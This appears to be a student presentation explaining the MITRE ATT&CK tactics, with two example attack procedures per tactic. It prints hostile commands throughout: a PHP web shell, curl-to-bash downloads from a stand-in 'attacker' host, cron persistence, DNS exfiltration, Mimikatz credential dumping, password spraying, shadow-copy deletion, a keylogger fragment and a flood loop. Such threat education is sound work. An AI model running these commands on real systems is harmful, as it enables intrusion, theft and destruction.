Proof of Concept (POC) of Threat Intelligence

Name of Presenter: **Rishikesh Tripathi, Tanaya Suryawanshi**

Intern ID: **249,305**

What is Threat Intelligence?

Threat Intelligence is the practice of gathering, analysing, and applying knowledge about cyber threats to protect systems, networks, and data. It provides valuable context about attackers—their motives, tools, techniques, and behaviour—so that organizations can anticipate risks, detect malicious activity faster, and respond effectively.

Broadly:

Tactic	=	**Why** the attacker is doing something (objective).
Technique	=	**How** the attacker is doing it (method).
Procedure	=	Real-life example of that technique in action.

MITRE ATT&CK Enterprise Matrix

1. Reconnaissance (TA0043)

Description:

Reconnaissance is the stage where adversaries attempt to gather information about a target organization before launching an attack. This includes identifying systems, networks, employees, or vulnerabilities that could be exploited later.

Techniques:

1. **T1595 – Active Scanning**
   Attackers scan networks and systems to detect live hosts, open ports, and vulnerabilities using tools like Nmap, Masscan, or Nessus.
2. **T1598 – Phishing for Information**
   Adversaries trick people into revealing sensitive details (like login credentials) through emails, fake websites, or phone calls (vishing).
3. **T1589 – Gather Victim Identity Information**
   Collecting details such as usernames, email addresses, and social media profiles, which can later support social engineering or credential-based attacks.

Procedure 1: Network Scanning with Masscan & Nmap

Objective: Find open ports and vulnerable services in the target's network.

Steps:

1. The attacker runs a **Masscan** scan across a subnet to quickly detect live hosts and services.
2. masscan -p80,443,22,3389 192.0.2.0/24 --rate=1000
3. A more detailed **Nmap** scan is then used to identify services and versions.
4. nmap -A -p 22,80,443,3389 192.0.2.10
5. Results show an outdated Apache server on port 80 with a known vulnerability.

Outcome: The attacker identifies a weak entry point to exploit later.

Procedure 2: Harvesting Employee Emails through LinkedIn & Phishing

Objective: Collect staff credentials to enable access to internal systems.

Steps:

1. The adversary gathers employee names and job roles from LinkedIn.
2. Likely email formats (e.g., firstname.lastname@company.com) are constructed.
3. A phishing email is sent, impersonating IT, asking staff to log in to a fake Microsoft Teams portal.
4. Credentials entered by employees are captured by the attacker.

Outcome: The attacker gains valid email-password pairs that can be reused for unauthorized access.

---

2. Resource Development (TA0042)

Description :

Resource Development is the stage where adversaries set up the tools, infrastructure, and resources they will need to conduct attacks. This may include registering domains, renting servers, creating fake accounts, or even buying access from brokers. The purpose is to build a foundation that supports phishing campaigns, malware hosting, command-and-control (C2) operations, or other malicious activities.

---

1. T1583 – Acquire Infrastructure

Adversaries obtain infrastructure such as domains, servers, or cloud services to host malicious content, phishing sites, or command-and-control (C2) servers.

- *Examples:*
    - **T1583.001 – Domains:** Registering look-alike domains for phishing.
    - **T1583.003 – Virtual Private Servers (VPS):** Renting servers to host malware or phishing pages.
    - **T1583.006 – Web Services:** Using services like GitHub, Dropbox, or Pastebin to distribute malicious files.

---

2. T1585 – Establish Accounts

Attackers create new social media, email, or cloud accounts to impersonate real people, build trust, or host malicious operations.

- *Examples:*
    - **T1585.001 – Social Media Accounts:** Fake LinkedIn or Twitter personas.
    - **T1585.002 – Email Accounts:** Disposable or malicious email accounts for phishing.
    - **T1585.003 – Cloud Accounts:** Malicious use of Google Drive, AWS, or Azure.

---

3. T1650 – Acquire Access

Instead of building everything themselves, attackers buy or rent access to compromised systems or networks from underground markets or initial access brokers.

- *Example:* Purchasing RDP access to corporate servers instead of exploiting them directly.

Procedure 1: Domain & VPS Setup for Phishing

Objective: Prepare infrastructure to host phishing pages and command-and-control servers.

Steps:

1. The attacker registers a domain name that closely resembles a legitimate site (e.g., microsoft-support[.]com).
2. An SSL certificate is obtained to make the fake site look authentic.

3. A **VPS (Virtual Private Server)** is rented from a cloud provider to host phishing portals and malware payloads.

Outcome: The attacker now has convincing infrastructure ready for spearphishing and malware distribution.

Procedure 2: Fake Persona Creation on Social Media

Objective: Build realistic online identities to interact with targets and gain trust.

Steps:

1. The adversary creates fake LinkedIn or TechNet profiles with fabricated job roles and activity.
2. Matching email accounts are created to support the persona.
3. These personas are then used to send phishing emails or directly interact with targets.

Outcome: The attacker establishes trusted but fraudulent online identities that can be used for social engineering and spreading malicious content.

Tactic 3: Initial Access (TA0001)

Description:
Initial Access refers to the attacker's first step into the target environment. At this stage, adversaries attempt to gain entry through methods such as phishing, exploiting public-facing applications, or using stolen credentials. The goal is to establish a foothold inside the victim's network.

Technique 1: T1566 – Phishing

Attackers send malicious emails or messages containing attachments, links, or requests designed to trick users into running malware or revealing credentials.

- **T1566.001 – Spearphishing Attachment:** Sending documents or PDFs with malicious macros.
- **T1566.002 – Spearphishing Link:** Using URLs that redirect to credential-harvesting sites or malware downloads.
- **T1566.003 – Spearphishing via Service:** Using trusted platforms (e.g., social media, file sharing sites) to deliver phishing payloads.

Technique 2: T1190 – Exploit Public-Facing Applications

Adversaries take advantage of unpatched software, plugins, or web services exposed to the internet. Vulnerabilities in web servers, CMS platforms (e.g., WordPress), or APIs are common targets.

Technique 3: T1078 – Valid Accounts

If attackers have already obtained credentials (via breaches, phishing, or credential stuffing), they use those legitimate accounts to bypass defenses and log in unnoticed.

- **T1078.001 – Default Accounts**
- **T1078.002 – Domain Accounts**
- **T1078.003 – Local Accounts**

Procedure 1: Spearphishing Link Attack

Objective: Steal employee credentials.

Steps:

1. The attacker sends a phishing email urging the employee to verify their Microsoft Teams account.
2. Subject: Urgent – Verify Teams Access Immediately
3. Link: https://microsoft-support-secured[.]com
4. The employee clicks the link and is redirected to a fake login portal.
5. The victim enters their username and password, which are captured by the attacker.

Outcome: The adversary now has valid credentials to log in to the corporate environment.

Procedure 2: Exploiting a Vulnerable Web Application

Objective: Gain remote code execution on an exposed server.

Steps:

1. The attacker scans public-facing IPs to identify outdated WordPress plugins.
2. Using a vulnerable file upload feature, they upload a malicious PHP web shell.
3. <?php system($_GET['cmd']); ?>
4. They then access the shell via a browser:
5. http://example.com/upload/shell.php?cmd=whoami

Outcome: The attacker gains remote control of the server and can move laterally inside the network.

Tactic 4: Execution (TA0002)

Description:
Execution is the stage where adversaries run malicious code or commands on a compromised system. This can be done directly by the attacker or indirectly by tricking the user into executing harmful files or scripts.

Technique 1: T1059 – Command and Scripting Interpreter

Attackers use built-in interpreters to run commands or scripts. Examples include:

- **PowerShell (Windows)** → Downloading and running payloads in memory.
- **Bash (Linux/Unix)** → Automating malicious scripts.
- **CMD (Windows)** → Running system-level commands.
- **Python/AppleScript** → Custom malware execution.

Technique 2: T1651 – Cloud Administration Command

Adversaries abuse cloud provider tools and APIs (like Azure RunCommand, AWS Systems Manager) to execute scripts remotely on virtual machines without direct user interaction.

Technique 3: T1204 – User Execution

Attackers rely on users to open infected files or click malicious links. These often include macro-enabled Word documents, PDFs, or installers with embedded malware.

Procedure 1: Malicious PowerShell Payload via Email Attachment

Objective: Execute malware through Office document macros.

Steps:

1. Victim opens a malicious Word document received via email.
2. The embedded macro executes automatically, running a hidden PowerShell command:
3. powershell.exe -EncodedCommand <base64payload>

4. The script downloads and executes malware in memory.

Outcome: Malware is executed stealthily without dropping obvious files, establishing a backdoor.

Procedure 2: Remote Execution via Azure RunCommand

Objective: Run attacker-controlled script on a cloud virtual machine.

Steps:

1. The attacker gains valid Azure credentials.
2. They invoke Azure RunCommand to execute a script:
3. az vm run-command invoke --command-id RunShellScript --scripts "curl http://attacker/payload.sh | bash"
4. The script downloads and executes a remote malware payload on the VM.

Outcome: The adversary achieves remote execution using legitimate cloud tools, making the attack harder to detect.

Tactic 5: Persistence (TA0003)

Description:
Persistence is about ensuring that the adversary maintains long-term access to a compromised system, even after reboots, password changes, or security updates. This guarantees they can return later without needing to re-exploit the target.

Technique 1: T1053 – Scheduled Task/Job

Attackers configure scheduled jobs (e.g., Windows Task Scheduler, Linux cron jobs, macOS launchd, or systemd timers) to automatically run malicious scripts or payloads at set times.

Technique 2: T1547 – Boot or Logon Autostart Execution

Adversaries place malware into locations that execute automatically during system startup or user logon, such as registry keys, startup folders, or login scripts.

Technique 3: T1136 / T1098 – Create or Modify Accounts

Instead of relying only on malware, attackers may add new accounts or modify existing accounts with elevated privileges. These accounts act as hidden backdoors for future access.

Procedure 1: Windows Scheduled Task for Malware Persistence

Objective: Ensure malware runs daily without user interaction.

Steps:

1. The adversary uses Windows Task Scheduler to create a new task:
2. schtasks /create /tn "Updater" /tr "C:\malware\update.ps1" /sc daily /st 06:00
3. The system executes the malicious script at 6:00 AM every day.

Outcome: Malware executes automatically, ensuring continued access even after reboot.

Procedure 2: Linux Cron Job Persistence

Objective: Guarantee script execution on Linux servers after every reboot.

Steps:

1. The attacker edits the system crontab to add a persistence entry:
2. echo "@reboot /usr/bin/curl http://attacker/script.sh | bash" >> /etc/crontab
3. At every system reboot, the script is downloaded and executed.

Outcome: The attacker maintains a persistent backdoor on Linux systems, often used by cryptominers and botnets.

Tactic 6: Privilege Escalation (TA0004)

Description:
Privilege Escalation is the stage where adversaries attempt to gain higher-level permissions inside a system or network. By moving from standard user access to admin or root-level privileges, attackers unlock more control, persistence, and access to sensitive resources.

Technique 1: T1078 – Valid Accounts

Using stolen or brute-forced credentials, attackers escalate privileges by logging in with admin or service accounts.

- **T1078.001 – Local Accounts**: Exploiting local administrator accounts.
- **T1078.002 – Domain Accounts**: Using domain-level accounts for broader access.

Technique 2: T1134 – Access Token Manipulation

Attackers abuse Windows access tokens to impersonate privileged users or processes.

- **T1134.001 – Token Impersonation**: Reusing an existing privileged token.
- **T1134.002 – Token Creation**: Generating new tokens with elevated rights.

Technique 3: T1068 – Exploitation for Privilege Escalation

Adversaries exploit software or OS vulnerabilities to gain elevated privileges.

- **T1068.001 – Kernel Exploits**: Exploiting flaws in the operating system kernel.
- **T1068.002 – Application Exploits**: Abusing vulnerable software or services.

Procedure 1: Brute-Forcing Local Admin with CrackMapExec

Objective: Gain administrator-level access on a Windows system.

Steps:

1. The attacker runs a brute-force attack against SMB using CrackMapExec:
2. crackmapexec smb <target_IP> -u Administrator -p <password_list.txt> --verbose
3. Once a correct password is discovered, the attacker logs in with administrator privileges.

Outcome: Full administrative access is obtained on the target machine.

Procedure 2: Token Impersonation via Mimikatz

Objective: Elevate privileges by impersonating a higher-privileged user.

Steps:

1. The attacker dumps credentials from LSASS using Mimikatz:
2. mimikatz.exe "sekurlsa::logonPasswords"
3. They select a privileged token and impersonate it:
4. mimikatz.exe "token::elevate /user:administrator"

Outcome: The attacker operates with admin rights, executing tasks as if they were the administrator.

Tactic 7: Defense Evasion (TA0005)

Description:
Defense Evasion focuses on techniques adversaries use to avoid detection, bypass security controls, and hide their presence on compromised systems. This allows them to maintain access and continue operations without triggering alerts.

Technique 1: T1070 – Indicator Removal on Host

Attackers try to erase traces of their activity from the system.

- **T1070.001 – File Deletion:** Removing malware files or logs.
- **T1070.002 – Timestomping:** Changing file timestamps to mask creation/modification times.
- **T1070.003 – Clear Event Logs:** Deleting Windows event logs to erase evidence.

Technique 2: T1027 – Obfuscated Files or Information

Adversaries disguise malicious files or code to evade antivirus or detection tools.

- **T1027.001 – Software Packing:** Compressing executables to hide content.
- **T1027.002 – Code Obfuscation:** Altering code to make it difficult to analyze.

Technique 3: T1562 – Impair Defenses

Adversaries disable or modify security controls to weaken defenses.

- **T1562.001 – Disable or Modify Tools:** Turning off antivirus, firewalls, or EDR.
- **T1562.002 – Subvert Trust Controls:** Tampering with settings that maintain system security.

Procedure 1: Removing Malware Traces with PowerShell

Objective: Erase evidence of malware activity.

Steps:

1. The attacker deletes malware payloads:
2. Remove-Item -Path "C:\Malware\payload.exe" -Force
3. They then clear event logs to cover tracks:
4. wevtutil cl Security

Outcome: Security investigators find fewer traces of compromise, making detection difficult.

Procedure 2: Obfuscating Malware with UPX

Objective: Hide malicious code from security scanners.

Steps:

1. The attacker compresses the executable using UPX:
2. upx --best --lzma payload.exe
3. The obfuscated file is deployed, appearing harmless to signature-based antivirus tools.

Outcome: The malware bypasses basic detection and runs successfully on the target system.

Tactic 8: Credential Access (TA0006)

Description:
Credential Access involves techniques adversaries use to steal usernames, passwords, and authentication data. With valid credentials, attackers can log in as legitimate users, making their activities harder to detect and allowing them to move deeper into the network.

Technique 1: T1003 – OS Credential Dumping

Attackers extract credentials stored in the operating system or security components.

- **T1003.001 – LSASS Memory:** Dumping memory from the Local Security Authority Subsystem Service.
- **T1003.002 – Security Account Manager (SAM):** Extracting stored credentials from the Windows SAM database.
- **T1003.003 – NTDS:** Copying Active Directory database files to extract domain credentials.

Technique 2: T1110 – Brute Force

Adversaries attempt to guess or crack user passwords.

- **T1110.001 – Password Guessing:** Using known info about a user to manually guess passwords.
- **T1110.002 – Password Cracking:** Using password lists like rockyou.txt with automated tools.

- **T1110.003 – Password Spraying:** Trying a few common passwords across many accounts.

Technique 3: T1056 – Input Capture

Attackers capture user input to obtain sensitive data.

- **T1056.001 – Keylogging:** Recording keystrokes to capture usernames and passwords.
- **T1056.002 – GUI Input Capture:** Creating fake login prompts to steal credentials.
- **T1056.004 – API Hooking:** Intercepting credential data by hooking system APIs.

Procedure 1: Extracting Credentials with Mimikatz (LSASS Dump)

Objective: Steal plaintext passwords and hashes.

Steps:

1. The attacker gains administrative rights.
2. They run Mimikatz to dump credentials from LSASS memory:
3. mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
4. Extracted NTLM hashes and plaintext credentials are collected.

Outcome: Attackers obtain valid login details for multiple accounts, enabling lateral movement.

Procedure 2: Password Spraying with CrackMapExec

Objective: Compromise multiple accounts using weak, common passwords.

Steps:

1. The attacker enumerates domain users via LDAP.
2. They create a password list (e.g., Password123!, Welcome2024).
3. They run CrackMapExec against the domain:
4. crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success
5. Accounts with weak passwords are identified.

Outcome: Multiple accounts are compromised without triggering lockouts, providing access across the network.

Tactic 9: Discovery (TA0007)

Description:
Discovery is the stage where adversaries explore the target environment to learn more about systems, users, and networks. This helps them plan lateral movement, privilege escalation, or data theft. Essentially, they're mapping out what exists and where to strike next.

Technique 1: T1087 – Account Discovery

Attackers identify user accounts within the environment.

- **T1087.001 – Local Accounts:** Listing users on a local machine.
- **T1087.002 – Domain Accounts:** Enumerating domain-level accounts.
- **T1087.003 – Email Accounts:** Gathering email addresses for further attacks.

Technique 2: T1082 – System Information Discovery

Adversaries query systems to learn about:

- Operating system versions
- Hardware details
- Installed applications
- System architecture

Technique 3: T1018 – Remote System Discovery

Attackers identify other devices on the network. Methods include:

- Ping sweeps
- ARP scans
- Network enumeration tools

Procedure 1: Domain Account Enumeration with Net Commands

Objective: Identify high-value domain accounts and groups.

Steps:

1. The attacker runs commands to list domain users and groups:

2. net user /domain
3. net group "Domain Admins" /domain
4. net group "Enterprise Admins" /domain
5. Accounts with elevated privileges are identified.

Outcome: The attacker learns about organizational structure and identifies priority targets.

Procedure 2: Network Mapping with PowerShell

Objective: Discover reachable hosts and internal network layout.

Steps:

1. The attacker uses built-in PowerShell commands:
2. Get-NetNeighbor | Where-Object {$_.State -eq "Reachable"}
3. Get-NetRoute | Where-Object {$_.RouteMetric -eq 0}
4. They run a ping sweep to find live systems:
5. for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is alive

Outcome: The adversary builds a map of the internal network, identifying potential lateral movement paths.

Tactic 10: Lateral Movement (TA0008)

Description:
Lateral Movement is when attackers spread across systems within a network after gaining initial access. The goal is to reach higher-value systems, expand control, and maintain persistence. This is often done using stolen credentials, remote services, or administrative tools.

Technique 1: T1021 – Remote Services

Adversaries use remote access protocols to connect to other systems.

- **T1021.001 – Remote Desktop Protocol (RDP):** Accessing Windows machines remotely.
- **T1021.002 – SMB/Windows Admin Shares:** Using file shares to move laterally.
- **T1021.004 – SSH:** Remotely accessing Linux/Unix systems.

Technique 2: T1550 – Use Alternate Authentication Material

Instead of plaintext passwords, attackers use other authentication methods.

- **T1550.002 – Pass the Hash:** Authenticating with stolen NTLM hash values.
- **T1550.003 – Pass the Ticket:** Using Kerberos tickets for authentication.

Technique 3: T1072 – Software Deployment Tools

Adversaries exploit legitimate enterprise tools such as SCCM, PSExec, or Windows Admin Center to distribute malware or execute commands across multiple systems.

Procedure 1: RDP Movement with Stolen Credentials

Objective: Move laterally across Windows systems using admin accounts.

Steps:

1. The attacker enables RDP on target machines:
2. reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
3. They connect using stolen domain admin credentials:
4. mstsc /v:192.168.1.50 /admin
5. Access is established on multiple systems.

Outcome: The attacker spreads across the network while appearing as a legitimate admin user.

Procedure 2: Pass-the-Hash Attack with CrackMapExec

Objective: Authenticate to remote systems without cracking passwords.

Steps:

1. The attacker extracts NTLM hashes using tools like Mimikatz.
2. They authenticate to remote systems with CrackMapExec:
3. crackmapexec smb 192.168.1.0/24 -u Administrator -H <hash_value>
4. Commands are executed remotely:
5. crackmapexec smb 192.168.1.50 -u Administrator -H <hash_value> -x "whoami"

Outcome: Attackers move laterally by abusing authentication material, avoiding password-based defenses.

Tactic 11: Collection (TA0009)

Description:
Collection is the stage where adversaries gather and consolidate sensitive information from compromised systems before exfiltrating it. This may include files, credentials, emails, or keystrokes that support the attacker's objectives.

Technique 1: T1005 – Data from Local System

Attackers search for and collect files stored locally on a system. These can include documents, spreadsheets, configuration files, or databases.

Technique 2: T1056 – Input Capture

Adversaries monitor user activity to gather sensitive data.

- **T1056.001 – Keylogging:** Recording user keystrokes.
- **T1056.002 – GUI Input Capture:** Capturing screen or input from applications.

Technique 3: T1114 – Email Collection

Adversaries target user emails to steal sensitive information.

- **T1114.001 – Local Email Collection:** Accessing email files stored locally.
- **T1114.002 – Remote Email Collection:** Extracting messages from cloud-based email accounts.

Procedure 1: Collecting Files via PowerShell

Objective: Systematically gather documents and prepare them for exfiltration.

Steps:

1. The attacker uses PowerShell to search and copy files:
2. Get-ChildItem -Path "C:\Users" -Include *.docx,*.xlsx,*.pdf,*.txt -Recurse | Copy-Item -Destination "C:\temp\collected\"
3. Files are compressed for easier transfer:

4. Compress-Archive -Path "C:\temp\collected*" -DestinationPath "C:\temp\data.zip"

Outcome: Sensitive files are collected and packaged, ready to be stolen.

Procedure 2: Deploying a Keylogger for Credential Theft

Objective: Capture keystrokes to steal credentials and sensitive input.

Steps:

1. The attacker installs a Python-based keylogger:
2. from pynput.keyboard import Key, Listener
3. def on_press(key):
4. with open("keylog.txt", "a") as f:
5. f.write(str(key))
6. Keystrokes (e.g., usernames, passwords, credit card details) are logged.
7. The captured data is sent to the attacker's server.

Outcome: The adversary gains access to user credentials and sensitive information for further exploitation.

Tactic 12: Command and Control (TA0011)

Description:
Command and Control (C2) refers to how adversaries communicate with compromised systems to issue instructions, receive stolen data, and maintain control. To avoid detection, attackers often disguise this traffic as normal network activity.

Technique 1: T1071 – Application Layer Protocol

Adversaries use common communication protocols to blend in with legitimate traffic.

- **T1071.001 – Web Protocols:** Using HTTP/HTTPS to exchange commands.
- **T1071.004 – DNS:** Encoding C2 messages within DNS queries.

Technique 2: T1573 – Encrypted Channel

Attackers secure their C2 traffic with encryption to prevent defenders from easily analyzing it.

- **T1573.001 – Symmetric Encryption:** Using shared keys for communication.

- **T1573.002 – Asymmetric Encryption:** Using public-private key pairs for stronger security.

Technique 3: T1090 – Proxy

Adversaries route communications through proxies to hide their real infrastructure.

- **T1090.002 – External Proxy:** Using external services as relays.
- **T1090.003 – Multi-hop Proxy:** Chaining multiple proxies to conceal origins.

Procedure 1: HTTPS C2 with Cobalt Strike

Objective: Establish a covert channel disguised as normal web traffic.

Steps:

1. The attacker sets up a Cobalt Strike team server with a valid SSL certificate.
2. A malleable C2 profile is configured to mimic normal traffic:
3. http-get {
4. set uri "/jquery-3.3.1.min.js";
5. client {
6. header "Accept" "text/javascript, */*; q=0.01";
7. }
8. }
9. A beacon payload is deployed on victim systems.
10. The beacon communicates over HTTPS port 443, blending with legitimate web traffic.

Outcome: The attacker maintains stealthy, persistent control of compromised machines.

Procedure 2: DNS Tunneling for Covert Exfiltration

Objective: Use DNS queries to secretly send data to attacker infrastructure.

Steps:

1. The adversary registers a malicious DNS domain (e.g., tunnel.attacker.com).
2. A DNS tunneling client is installed on the victim machine.
3. Data is encoded and sent in DNS queries:
4. nslookup sensitive_data_chunk.tunnel.attacker.com

5. The attacker-controlled DNS server decodes the information.

Outcome: Sensitive data is exfiltrated via DNS, bypassing traditional monitoring focused on HTTP/HTTPS traffic.

Tactic 13: Exfiltration (TA0010)

Description:
Exfiltration is the phase where adversaries steal and transfer data from a target environment to external locations under their control. Attackers often hide this activity by blending it with legitimate traffic or using trusted services.

Technique 1: T1041 – Exfiltration Over C2 Channel

Data is sent out using the same command and control channel that the attacker already established, often encrypted to appear as normal traffic.

Technique 2: T1567 – Exfiltration Over Web Service

Attackers misuse trusted cloud storage or web services to move data outside the organization.

- **T1567.002 – Exfiltration to Cloud Storage:** Uploading files to services like Dropbox, Google Drive, or OneDrive.

Technique 3: T1048 – Exfiltration Over Alternative Protocol

Data is exfiltrated using different network protocols instead of the main C2 channel.

- **T1048.003 – Exfiltration Over Unencrypted Non-C2 Protocol:** Using FTP, SMTP, or other protocols to move stolen files.

Procedure 1: Exfiltrating Data via Cloud Storage Services

Objective: Steal sensitive corporate files using legitimate services.

Steps:

1. The attacker creates accounts on cloud storage platforms (e.g., Google Drive, Dropbox).
2. They compress and encrypt stolen data:
3. Compress-Archive -Path "C:\collected_data*" -DestinationPath "backup.zip"

4. The encrypted archive is uploaded via the official sync client or web interface.

Outcome: Data exfiltration looks like routine file syncing, making it difficult to detect.

Procedure 2: Email-Based Data Exfiltration

Objective: Send stolen data out of the network using compromised email accounts.

Steps:

1. The attacker gains access to a legitimate employee's email account.
2. They prepare an email with stolen files attached, labeled as a routine report.
3. msg['Subject'] = "Monthly Report - Confidential"
4. Large files are split across multiple emails to bypass size restrictions.
5. The emails are sent to attacker-controlled addresses.

Outcome: Stolen files leave the organization disguised as normal business communication.

Tactic 14: Impact (TA0040)

Description:
Impact represents the adversary's attempts to disrupt, manipulate, or destroy systems and data within the victim's environment. This is often the most damaging phase, resulting in downtime, data loss, or extortion through ransomware.

Technique 1: T1486 – Data Encrypted for Impact

Attackers deploy ransomware or encryption tools to lock critical files, denying access until a ransom is paid.

Technique 2: T1490 – Inhibit System Recovery

Adversaries delete backups, shadow copies, or disable recovery tools, preventing victims from restoring their systems.

Technique 3: T1498 – Network Denial of Service (DoS)

Attackers flood the network or services with malicious traffic, causing outages.

- **T1498.001 – Direct Network Flood:** Overloading systems with traffic.

- **T1498.002 – Reflection Amplification:** Amplifying attack traffic via third-party servers.

Procedure 1: Ransomware Deployment (Ryuk Example)

Objective: Encrypt organizational data and demand ransom payment.

Steps:

1. The attacker obtains domain admin privileges.
2. They deploy ransomware across the network using PSExec:
3. psexec \\target_system -s cmd /c "powershell -ExecutionPolicy Bypass -File ryuk.ps1"
4. Files are encrypted using AES-256 encryption.
5. Shadow copies and backups are deleted:
6. vssadmin delete shadows /all /quiet
7. wbadmin delete catalog -quiet
8. A ransom note is displayed demanding Bitcoin payment.

Outcome: Critical business operations are halted until ransom is paid or systems are rebuilt.

Procedure 2: Distributed Denial of Service (DDoS) Attack

Objective: Disrupt online services by overwhelming them with traffic.

Steps:

1. The attacker builds a botnet of compromised systems.
2. A coordinated flood attack is launched:
3. for i in {1..1000}; do
4. hping3 -S -p 80 --flood target.company.com &
5. done
6. Targeted services (web, DNS, email) are overwhelmed.
7. Reflection amplification techniques increase the traffic volume.

Outcome: The organization's online services become unavailable, causing revenue loss, reputational damage, and operational downtime.
